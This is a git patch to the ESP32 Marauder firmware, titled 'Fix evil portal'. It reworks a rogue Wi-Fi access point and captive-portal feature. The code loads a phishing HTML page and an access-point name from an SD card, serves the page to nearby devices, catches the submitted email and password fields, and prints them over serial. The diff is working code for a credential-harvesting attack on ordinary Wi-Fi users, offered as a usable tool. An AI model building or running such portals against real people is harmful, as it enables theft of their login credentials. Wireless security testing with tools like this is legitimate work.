From 2685de86d1ff2780543aa7c9080c32a4a808a186 Mon Sep 17 00:00:00 2001 From: Just Call Me Koko Date: Mon, 17 Jul 2023 22:32:27 -0400 Subject: [PATCH] Fix evil portal --- esp32_marauder/CommandLine.cpp | 3 +- esp32_marauder/EvilPortal.cpp | 104 ++++++++++++++++-------------- esp32_marauder/EvilPortal.h | 15 +++-- esp32_marauder/SDInterface.cpp | 9 +++ esp32_marauder/SDInterface.h | 1 + esp32_marauder/WiFiScan.cpp | 1 - esp32_marauder/configs.h | 6 +- esp32_marauder/esp32_marauder.ino | 1 + 8 files changed, 81 insertions(+), 59 deletions(-) diff --git a/esp32_marauder/CommandLine.cpp b/esp32_marauder/CommandLine.cpp index 35ddea8..b589b4d 100644 --- a/esp32_marauder/CommandLine.cpp +++ b/esp32_marauder/CommandLine.cpp @@ -217,6 +217,7 @@ void CommandLine::runCommand(String input) { Serial.println(HELP_LED_CMD); // WiFi sniff/scan + Serial.println(HELP_EVIL_PORTAL_CMD); Serial.println(HELP_SIGSTREN_CMD); Serial.println(HELP_SCANAP_CMD); Serial.println(HELP_SCANSTA_CMD); @@ -414,7 +415,7 @@ void CommandLine::runCommand(String input) { display_obj.clearScreen(); menu_function_obj.drawStatusBar(); #endif - wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA); + wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA); } else if (et_command == "reset") { diff --git a/esp32_marauder/EvilPortal.cpp b/esp32_marauder/EvilPortal.cpp index 4fd2b93..59090da 100644 --- a/esp32_marauder/EvilPortal.cpp +++ b/esp32_marauder/EvilPortal.cpp @@ -6,11 +6,14 @@ EvilPortal::EvilPortal() { this->runServer = false; this->name_received = false; this->password_received = false; + this->has_html = false; + this->has_ap = false; } void EvilPortal::begin() { // wait for init flipper input - //getInitInput(); + this->setAP(); + this->setHtml(); startPortal(); } @@ -38,6 +41,7 @@ void EvilPortal::setupServer() { inputParam = "email"; this->user_name = inputMessage; this->name_received = true; + Serial.println(this->user_name); } if (request->hasParam("password")) { @@ -45,6 +49,7 @@ void EvilPortal::setupServer() { inputParam = "password"; this->password = inputMessage; this->password_received = true; + Serial.println(this->password); } request->send( 200, "text/html", @@ -53,45 +58,46 @@ void EvilPortal::setupServer() { Serial.println("web server up"); } -bool EvilPortal::checkForCommand(char *command) { - bool received = false; - if (Serial.available() > 0) { - String flipperMessage = Serial.readString(); - const char *serialMessage = flipperMessage.c_str(); - int compare = strncmp(serialMessage, command, strlen(command)); - if (compare == 0) { - received = true; - } +void EvilPortal::setHtml() { + Serial.println("Setting HTML..."); + File html_file = sd_obj.getFile("/index.html"); + if (!html_file) { + Serial.println("Could not open index.html. Exiting..."); + return; + } + else { + String html = ""; + while (html_file.available()) { + char c = html_file.read(); + if (isPrintable(c)) + html.concat(c); + } + strncpy(this->index_html, html.c_str(), strlen(html.c_str())); + this->has_html = true; + Serial.println("html set"); + html_file.close(); } - return received; } -void EvilPortal::getInitInput() { - // wait for html - Serial.println("Waiting for HTML"); - bool has_ap = false; - bool has_html = false; - while (!has_html || !has_ap) { - if (Serial.available() > 0) { - String flipperMessage = Serial.readString(); - const char *serialMessage = flipperMessage.c_str(); - if (strncmp(serialMessage, SET_HTML_CMD, strlen(SET_HTML_CMD)) == 0) { - serialMessage += strlen(SET_HTML_CMD); - strncpy(this->index_html, serialMessage, strlen(serialMessage) - 1); - has_html = true; - Serial.println("html set"); - } else if (strncmp(serialMessage, SET_AP_CMD, strlen(SET_AP_CMD)) == - 0) { - serialMessage += strlen(SET_AP_CMD); - strncpy(this->apName, serialMessage, strlen(serialMessage) - 1); - has_ap = true; - Serial.println("ap set"); - } else if (strncmp(serialMessage, RESET_CMD, strlen(RESET_CMD)) == 0) { - this->resetFunction(); - } - } +void EvilPortal::setAP() { + File ap_config_file = sd_obj.getFile("/ap.config.txt"); + if (!ap_config_file) { + Serial.println("Could not open ap.config.txt. Exiting..."); + return; + } + else { + String ap_config = ""; + while (ap_config_file.available()) { + char c = ap_config_file.read(); + Serial.print(c); + if (isPrintable(c)) + ap_config.concat(c); + } + strncpy(this->apName, ap_config.c_str(), strlen(ap_config.c_str())); + this->has_ap = true; + Serial.println("ap config set"); + ap_config_file.close(); } - Serial.println("all set"); } void EvilPortal::startAP() { @@ -118,19 +124,17 @@ void EvilPortal::startPortal() { this->runServer = true; } -void EvilPortal::main() { - this->dnsServer.processNextRequest(); - if (name_received && password_received) { - this->name_received = false; - this->password_received = false; - String logValue1 = - "u: " + this->user_name; - String logValue2 = "p: " + this->password; - Serial.println(logValue1); - Serial.println(logValue2); +void EvilPortal::main(uint8_t scan_mode) { + if (scan_mode == WIFI_SCAN_EVIL_PORTAL) { + this->dnsServer.processNextRequest(); + if (this->name_received && this->password_received) { + this->name_received = false; + this->password_received = false; + String logValue1 = + "u: " + this->user_name; + String logValue2 = "p: " + this->password; + Serial.println(logValue1); + Serial.println(logValue2); + } } - //if(this->checkForCommand(RESET_CMD)) { - // Serial.println("reseting"); - // this->resetFunction(); - //} } \ No newline at end of file diff --git a/esp32_marauder/EvilPortal.h b/esp32_marauder/EvilPortal.h index 76c852d..b2dbac9 100644 --- a/esp32_marauder/EvilPortal.h +++ b/esp32_marauder/EvilPortal.h @@ -7,8 +7,10 @@ #include "configs.h" #include "settings.h" +#include "SDInterface.h" extern Settings settings_obj; +extern SDInterface sd_obj; #define WAITING 0 #define GOOD 1 @@ -20,6 +22,8 @@ extern Settings settings_obj; #define START_CMD "start" #define ACK_CMD "ack" #define MAX_HTML_SIZE 20000 +#define MAX_AP_NAME_SIZE 30 +#define WIFI_SCAN_EVIL_PORTAL 30 class CaptiveRequestHandler : public AsyncWebHandler { public: @@ -43,15 +47,18 @@ class EvilPortal { String user_name; String password; - char apName[30] = "PORTAL"; + char apName[MAX_AP_NAME_SIZE] = "PORTAL"; char index_html[MAX_HTML_SIZE] = "TEST"; + bool has_html; + bool has_ap; + DNSServer dnsServer; void (*resetFunction)(void) = 0; - bool checkForCommand(char *command); - void getInitInput(); + void setHtml(); + void setAP(); void setupServer(); void startPortal(); void startAP(); @@ -62,7 +69,7 @@ class EvilPortal { String get_user_name(); String get_password(); void begin(); - void main(); + void main(uint8_t scan_mode); }; diff --git a/esp32_marauder/SDInterface.cpp b/esp32_marauder/SDInterface.cpp index 135dedb..e767c41 100644 --- a/esp32_marauder/SDInterface.cpp +++ b/esp32_marauder/SDInterface.cpp @@ -75,6 +75,15 @@ bool SDInterface::initSD() { #endif } +File SDInterface::getFile(String path) { + if (this->supported) { + File file = SD.open(path, FILE_READ); + + if (file) + return file; + } +} + void SDInterface::listDir(String str_dir){ if (this->supported) { File dir = SD.open(str_dir); diff --git a/esp32_marauder/SDInterface.h b/esp32_marauder/SDInterface.h index 156e259..6a81661 100644 --- a/esp32_marauder/SDInterface.h +++ b/esp32_marauder/SDInterface.h @@ -40,6 +40,7 @@ class SDInterface { bool initSD(); void listDir(String str_dir); + File getFile(String path); void addPacket(uint8_t* buf, uint32_t len); void openCapture(String file_name = ""); void runUpdate(); diff --git a/esp32_marauder/WiFiScan.cpp b/esp32_marauder/WiFiScan.cpp index f642ec1..9aeaa28 100644 --- a/esp32_marauder/WiFiScan.cpp +++ b/esp32_marauder/WiFiScan.cpp @@ -604,7 +604,6 @@ void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color) led_obj.setMode(MODE_SNIFF); #endif - Serial.println(text_table4[9] + (String)access_points->size()); #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; diff --git a/esp32_marauder/configs.h b/esp32_marauder/configs.h index bc4a2cb..a4b715c 100644 --- a/esp32_marauder/configs.h +++ b/esp32_marauder/configs.h @@ -15,13 +15,13 @@ //#define MARAUDER_V6 //#define MARAUDER_KIT //#define GENERIC_ESP32 - #define MARAUDER_FLIPPER - //#define ESP32_LDDB + //#define MARAUDER_FLIPPER + #define ESP32_LDDB //#define MARAUDER_DEV_BOARD_PRO //#define XIAO_ESP32_S3 //// END BOARD TARGETS - #define MARAUDER_VERSION "v0.10.9" + #define MARAUDER_VERSION "v0.11.0" //// BOARD FEATURES #ifdef MARAUDER_M5STICKC diff --git a/esp32_marauder/esp32_marauder.ino b/esp32_marauder/esp32_marauder.ino index 919c7e5..c71ef46 100644 --- a/esp32_marauder/esp32_marauder.ino +++ b/esp32_marauder/esp32_marauder.ino @@ -374,6 +374,7 @@ void loop() display_obj.main(wifi_scan_obj.currentScanMode); #endif wifi_scan_obj.main(currentTime); + evil_portal_obj.main(wifi_scan_obj.currentScanMode); #ifdef WRITE_PACKETS_SERIAL buffer_obj.forceSaveSerial();